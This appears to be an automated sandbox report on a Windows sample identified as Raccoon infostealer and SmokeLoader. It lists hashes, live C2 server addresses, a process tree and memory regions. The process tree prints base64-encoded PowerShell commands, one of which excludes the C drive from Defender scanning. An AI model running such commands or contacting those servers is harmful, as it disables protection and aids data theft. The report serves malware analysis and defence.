Analysis

  • max time kernel
    136s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09/03/2025, 01:45

General

  • Target

    c127879c5fa90526ba316c4bffd85427.exe

  • Size

    10.0MB

  • MD5

    c127879c5fa90526ba316c4bffd85427

  • SHA1

    3842cfd9949c83a4783bf8bc48ed5e6d629033bb

  • SHA256

    808ea5f3c49d50f3ea6daeb52a6a5923c80c8a361a25048275077b12417c461b

  • SHA512

    051abfcf0a325885c201a1a0e6e936d31b35d36838a585cadc7f6a29a23ac8bfb883b2e56c6960824b3143b78da17bf711b48a9ab3b997edf3e6f306301ceb5f

  • SSDEEP

    49152:qq/f3J6UdlWunpHC2npAadqn3/FJovlO:q+cTMHC2npAao32

Malware Config

Extracted

Family

raccoon

Botnet

eee94d533c0441c732ed7e18e494bdc6

C2

http://45.15.156.16/

http://82.115.223.5/

http://82.115.223.6/

http://45.15.156.17/

http://82.115.223.7/

Attributes
  • user_agent

    mozzzzzzzzzzz

xor.plain

Extracted

Family

smokeloader

Botnet

x0x4

Signatures

  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

  • Raccoon family
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Smokeloader family
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c127879c5fa90526ba316c4bffd85427.exe
    "C:\Users\Admin\AppData\Local\Temp\c127879c5fa90526ba316c4bffd85427.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3040
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2716
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2968
    • C:\Users\Admin\AppData\Local\Temp\Ifiopyrxmbmpmdubjnjdmx0x4_2.exe
      "C:\Users\Admin\AppData\Local\Temp\Ifiopyrxmbmpmdubjnjdmx0x4_2.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1964
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2344
      • C:\Users\Admin\AppData\Local\Temp\Ifiopyrxmbmpmdubjnjdmx0x4_2.exe
        C:\Users\Admin\AppData\Local\Temp\Ifiopyrxmbmpmdubjnjdmx0x4_2.exe
        3⤵
        • Executes dropped EXE
        PID:1688
      • C:\Users\Admin\AppData\Local\Temp\Ifiopyrxmbmpmdubjnjdmx0x4_2.exe
        C:\Users\Admin\AppData\Local\Temp\Ifiopyrxmbmpmdubjnjdmx0x4_2.exe
        3⤵
        • Executes dropped EXE
        PID:1624
    • C:\Users\Admin\AppData\Local\Temp\c127879c5fa90526ba316c4bffd85427.exe
      C:\Users\Admin\AppData\Local\Temp\c127879c5fa90526ba316c4bffd85427.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2976

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    c23219fc3f93d7dff504c4c333c559da

    SHA1

    2cdf106d865e861f8f87d86fb9aa65958908c6f0

    SHA256

    1be1ed2e4506939a3969641a91a8aa98b9c628be07007ab6ec0f12623afbb825

    SHA512

    67d23b81a651e7e7cfdf580d0b7fcec815a93cd20a99a09e4bd3f7d3127e82fcd2b63d569dee08228650e68a8719aa3b398f8bd1f402f16b237208fe93054798

  • \Users\Admin\AppData\Local\Temp\Ifiopyrxmbmpmdubjnjdmx0x4_2.exe

    Filesize

    819KB

    MD5

    7f1f17f581d25b34013146f290fea01b

    SHA1

    27c020394a1396b3e11ab563d62f76c2d5e873ea

    SHA256

    2bbe711ab5c483cdbc39743637123498da1e62a743e7186a8e6a363c6c349375

    SHA512

    8793a175c5d664c388f94d40ab544866d13b4c6b9348d56bd5a3144fb9480b0982577e6cc8604f6355ded850c7bcc67c1536af59bfdceb11a23187a8ee3f4935

  • memory/1624-56-0x0000000000400000-0x0000000000409000-memory.dmp

    Filesize

    36KB

  • memory/1624-58-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/1624-59-0x0000000000400000-0x0000000000409000-memory.dmp

    Filesize

    36KB

  • memory/1624-54-0x0000000000400000-0x0000000000409000-memory.dmp

    Filesize

    36KB

  • memory/2716-7-0x00000000025B0000-0x00000000025F0000-memory.dmp

    Filesize

    256KB

  • memory/2716-10-0x00000000025B0000-0x00000000025F0000-memory.dmp

    Filesize

    256KB

  • memory/2852-25-0x0000000004310000-0x00000000043E0000-memory.dmp

    Filesize

    832KB

  • memory/2852-24-0x0000000000260000-0x0000000000334000-memory.dmp

    Filesize

    848KB

  • memory/2976-28-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2976-30-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2976-26-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2976-37-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2976-36-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2976-34-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2976-32-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2976-38-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/3040-0-0x0000000073F1E000-0x0000000073F1F000-memory.dmp

    Filesize

    4KB

  • memory/3040-9-0x0000000073F10000-0x00000000745FE000-memory.dmp

    Filesize

    6.9MB

  • memory/3040-8-0x0000000073F1E000-0x0000000073F1F000-memory.dmp

    Filesize

    4KB

  • memory/3040-39-0x0000000073F10000-0x00000000745FE000-memory.dmp

    Filesize

    6.9MB

  • memory/3040-4-0x0000000004BC0000-0x0000000004C52000-memory.dmp

    Filesize

    584KB

  • memory/3040-3-0x0000000073F10000-0x00000000745FE000-memory.dmp

    Filesize

    6.9MB

  • memory/3040-2-0x0000000004370000-0x00000000044B8000-memory.dmp

    Filesize

    1.3MB

  • memory/3040-1-0x0000000000E20000-0x0000000000F6A000-memory.dmp

    Filesize

    1.3MB